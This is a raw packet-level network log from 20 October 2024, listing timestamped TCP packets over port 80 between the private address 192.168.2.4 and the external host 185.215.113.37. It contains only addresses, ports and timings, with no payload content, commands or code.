Oct 20, 2024 06:40:17.397882938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.397895098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.397896051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.397905111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.397911072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.397943020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398514032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398526907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398538113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398547888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398559093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398566008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398571014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398581028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398581982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398597002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398602962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398613930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398624897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398626089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398634911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398646116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398654938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398657084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398670912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398674011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398684978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398693085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398698092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398708105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398709059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398720980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398731947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398740053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398745060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398756981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398768902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398770094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398780107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398788929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398792028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398802996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398813963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398821115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398824930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398837090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398844957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398849964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398860931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.398863077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398878098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.398901939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399473906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399487972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399507046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399518967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399523973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399528980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399539948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399542093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399553061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399564028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399564981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399575949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399586916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399589062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399597883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399605989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399610043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399620056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399622917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399635077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399646044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399646044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399657965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399668932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399668932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399679899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399687052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399693012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399705887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399708033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399717093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399729013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399733067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399739981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399751902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399761915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399764061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399776936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.399779081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399799109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.399815083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400274992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400288105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400296926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400310040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400321007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400326967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400332928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400350094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400353909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400371075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400371075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400382042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400382996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400393009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400403976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400409937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400415897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400419950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400428057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400439024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400439978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400450945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400455952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400468111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400476933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400480032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400491953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400495052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400505066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400516987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400517941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400530100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400540113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400542974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400554895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400562048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400568008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400578976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400584936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400590897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400604010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400604963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400616884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.400619984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400644064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.400667906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.401035070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.401063919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.401077032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.401103973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527251959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527281046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527293921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527331114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527353048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527354956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527368069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527380943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527391911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527404070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527421951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527506113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527517080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527528048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527539968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527550936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527554035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527571917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527590990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527605057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527616978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527640104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527659893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527661085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527669907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527697086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527724028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527734995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527745008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527756929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527760029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527782917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527803898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527945042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527956009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527971983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527981997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.527991056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.527993917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528004885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528013945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528016090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528028011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528028965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528039932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528049946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528053045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528074026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528079987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528090000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528116941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528176069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528186083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528194904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528207064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528213978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528218031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528229952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528239965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528260946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528512001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528547049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528558969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528559923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528582096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528594017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528774977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528798103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528806925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528810978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528827906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528850079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528897047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528909922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528928041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528939962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.528939962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528949976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528963089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.528980017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529023886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529033899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529052973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529066086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529067039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529077053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529084921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529098988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529117107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529123068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529134989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529145956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529156923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529174089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529196024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529203892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529241085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529264927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529299021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529670000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529720068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529730082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529768944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529782057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529793024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529803038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.529817104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529835939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.529985905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530020952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530040979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530071020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530080080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530080080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530108929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530132055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530163050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530191898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530203104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530230045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530289888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530302048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530311108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530324936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530349016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530446053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530457020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530467987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530479908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530481100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530492067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530503035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530504942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530513048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530525923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530544043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530631065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530647039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530658007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530668974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530682087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530689001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530694008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530704021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530709982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530721903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530744076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530806065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530817032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530827045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530837059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530837059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530858040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530864954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530870914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530883074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530891895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530896902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.530905962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.530930042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531021118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531171083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531183004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531193018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531204939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531213999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531218052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531229973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531229973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531241894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531244993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531254053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531266928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531270981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531277895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531299114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531316042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531569004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531579971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531590939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531600952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531611919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531615973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531629086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531636000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531637907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531650066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531661034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531667948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531672001 CEST	80	49730	185.215.113.37	192.168.2.4
